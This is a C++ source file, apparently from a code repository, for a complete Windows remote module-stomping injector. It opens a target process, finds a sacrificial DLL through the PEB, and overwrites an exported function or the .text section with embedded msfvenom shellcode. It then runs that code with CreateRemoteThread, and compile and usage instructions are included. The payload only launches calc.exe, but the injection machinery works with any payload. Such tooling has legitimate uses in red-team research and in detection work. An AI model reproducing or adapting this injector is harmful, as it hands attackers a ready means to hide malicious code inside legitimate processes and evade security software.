Files
2026-06-12 08:35:43 -04:00

229 lines
9.4 KiB
C++

/*
* remote module stomping: locate a sacrificial DLL in the process memory, locate a function to stomp (it'll be within the .text section, this is lazy)
* & inject calc.exe msfvenom shellcode into the target buffer, toggling the memory protection between RW and RWX
* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread
* compile: cl.exe remote-stomp.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp /W0
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "..\includes\peb-eat-utils.h"
#include "..\includes\utils.h"
void PrintUsage(const char* programName) {
printf("[INFO] Usage: %s -p <PID> -d <Target_DLL> [-f <Target_Function> | -o <Hex_Offset>] [Options]\n", programName);
printf(" -p : Target Process ID (PID)\n");
printf(" -d : Name of the target DLL (e.g., wininet.dll)\n");
printf(" -f : Name of the exported function to stomp (e.g., CommitUrlCacheEntryW)\n");
printf(" -o : Hexadecimal offset relative to the .text section start (e.g., 0x1A40 or 1A40)\n");
printf("\nOptions:\n");
printf(" -n : Enable NOP testing mode (ignores hardcoded shellcode)\n");
printf(" -s : Number of NOP bytes to write (required if -n is used)\n");
}
int main(int argc, char *argv[]) {
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
DWORD pid = 0;
char* targetDll = NULL;
char* targetFunction = NULL;
BOOL hasOffset = FALSE;
DWORD textOffset = 0;
BOOL nopMode = FALSE;
DWORD nopSize = 0;
unsigned char* writeBuffer = NULL;
SIZE_T writeSize = 0;
// Parse the command line arguments using switches
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-p") == 0 && i + 1 < argc) {
pid = my_atoi(argv[++i]);
} else if (strcmp(argv[i], "-d") == 0 && i + 1 < argc) {
targetDll = argv[++i];
} else if (strcmp(argv[i], "-f") == 0 && i + 1 < argc) {
targetFunction = argv[++i];
} else if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) {
hasOffset = TRUE;
// Parse the string as a hexadecimal value (handles both "0x1A" and "1A" format variants)
textOffset = (DWORD)strtoul(argv[++i], NULL, 16);
} else if (strcmp(argv[i], "-n") == 0) {
nopMode = TRUE;
} else if (strcmp(argv[i], "-s") == 0 && i + 1 < argc) {
nopSize = (DWORD)my_atoi(argv[++i]);
} else {
printf("[ERROR] Invalid or incomplete argument: %s\n", argv[i]);
PrintUsage(argv[0]);
return -1;
}
}
// Validate that all core fields were filled
if (pid == 0 || targetDll == NULL) {
printf("[ERROR] Missing required arguments (PID and Target DLL are mandatory)!\n");
PrintUsage(argv[0]);
return -1;
}
// Enforce mutual exclusivity between function string naming and raw offset addressing
if (targetFunction != NULL && hasOffset) {
printf("[ERROR] Ambiguous targeting strategy! Specify a function export (-f) OR a text offset (-o), not both.\n");
PrintUsage(argv[0]);
return -1;
}
// Fallback if neither positioning parameter was supplied
if (targetFunction == NULL && !hasOffset) {
printf("[INFO] Neither function (-f) nor offset (-o) specified. Defaulting to base of .text section.\n");
}
// Validate NOP mode logic rules
if (nopMode && nopSize == 0) {
printf("[ERROR] NOP mode (-n) enabled, but no size (-s) specified!\n");
PrintUsage(argv[0]);
return -1;
}
// Handle buffer configuration based on mode selected
if (nopMode) {
printf("[*] NOP mode active. Generating %u bytes of NOP alignment data.\n", nopSize);
writeBuffer = (unsigned char*)malloc(nopSize);
if (writeBuffer == NULL) {
printf("[ERROR] Memory allocation failed for NOP buffer.\n");
return -1;
}
memset(writeBuffer, 0x90, nopSize);
writeSize = nopSize;
} else {
writeBuffer = buf;
writeSize = sizeof buf;
}
printf("[*] Running PI with target PID: %u\n", pid);
// Open a handle to the target process
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if (pHandle == NULL) {
printf("Failed to acquire process handle!\n");
if (nopMode) free(writeBuffer);
return -1;
}
printf("[*] Successfully opened handle to PID: %u\n", pid);
PVOID remotePebAddr = GetRemotePebAddress(pHandle);
if (!remotePebAddr) {
printf("[*] ERROR: Failed to find the PEB address. Error %lu\n", GetLastError());
CloseHandle(pHandle);
if (nopMode) free(writeBuffer);
return -1;
}
printf("[*] Target PEB located at: : 0x%016llx\n", (ULONG_PTR)remotePebAddr);
PPEB peb_ptr = (PPEB)remotePebAddr;
printf("[*] Attempting to locate the module base for %s.\n", targetDll);
PVOID targetModuleBase = GetModuleBaseManualRemote(pHandle, peb_ptr, targetDll);
if (!targetModuleBase) {
printf("[ERROR] Failed to locate target module base.\n");
CloseHandle(pHandle);
if (nopMode) free(writeBuffer);
return -1;
}
printf("[*] Target DLL base located at: : 0x%016llx\n", (ULONG_PTR)targetModuleBase);
LPVOID bufferAddress = NULL;
// Dynamic Export Lookup
if (targetFunction != NULL) {
printf("[*] Attempting to locate function: %s\n", targetFunction);
bufferAddress = (LPVOID)GetRemoteProcAddressManual(pHandle, targetModuleBase, targetFunction);
if (bufferAddress == NULL) {
printf("[ERROR] Failed to locate target function %s! Error: %lu\n", targetFunction, GetLastError());
CloseHandle(pHandle);
if (nopMode) free(writeBuffer);
return -1;
}
printf("[*] Target %s!%s located at: 0x%016llx\n", targetDll, targetFunction, (ULONG_PTR)bufferAddress);
}
// Image-Base Relative RVA Positioning
else {
if (hasOffset) {
printf("[*] Applying RVA offset 0x%X directly from Image Base\n", textOffset);
bufferAddress = (LPVOID)((PBYTE)targetModuleBase + textOffset);
} else {
printf("[*] No function or offset specified. Locating absolute start of .text section.\n");
IMAGE_SECTION_INFO sectionInfo = { 0 };
if (GetRemoteModuleSection(pHandle, targetModuleBase, ".text", &sectionInfo)) {
bufferAddress = (LPVOID)((PBYTE)targetModuleBase + sectionInfo.VirtualAddress);
} else {
printf("[ERROR] Failed to locate .text section within the target module.\n");
CloseHandle(pHandle);
if (nopMode) free(writeBuffer);
return -1;
}
}
if (bufferAddress != NULL) {
printf("[*] Target address resolved to: 0x%016llx\n", (ULONG_PTR)bufferAddress);
}
}
printf("[*] Writing to buffer.\n");
// Write either the shellcode or the NOP payload to the target area
BOOL writePayload = WriteProcessMemory(pHandle, bufferAddress, writeBuffer, writeSize, NULL);
if (writePayload == FALSE) {
printf("[ERROR] Failed to write data! Using address: 0x%016llx, Error: %lu\n", (ULONG_PTR)bufferAddress, GetLastError());
CloseHandle(pHandle);
if (nopMode) free(writeBuffer);
return -1;
}
// Only invoke thread execution if we are in target shellcode execution mode
if (!nopMode) {
printf("[*] Creating a new thread.\n");
HANDLE tHandle = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL);
if (tHandle == NULL) {
printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
CloseHandle(pHandle);
return -1;
}
CloseHandle(tHandle);
} else {
printf("[*] Skipping thread creation (NOP testing mode complete).\n");
}
// Clean up open structures
CloseHandle(pHandle);
if (nopMode) {
free(writeBuffer);
}
printf("[*] Process injection operation complete.\n");
return 0;
}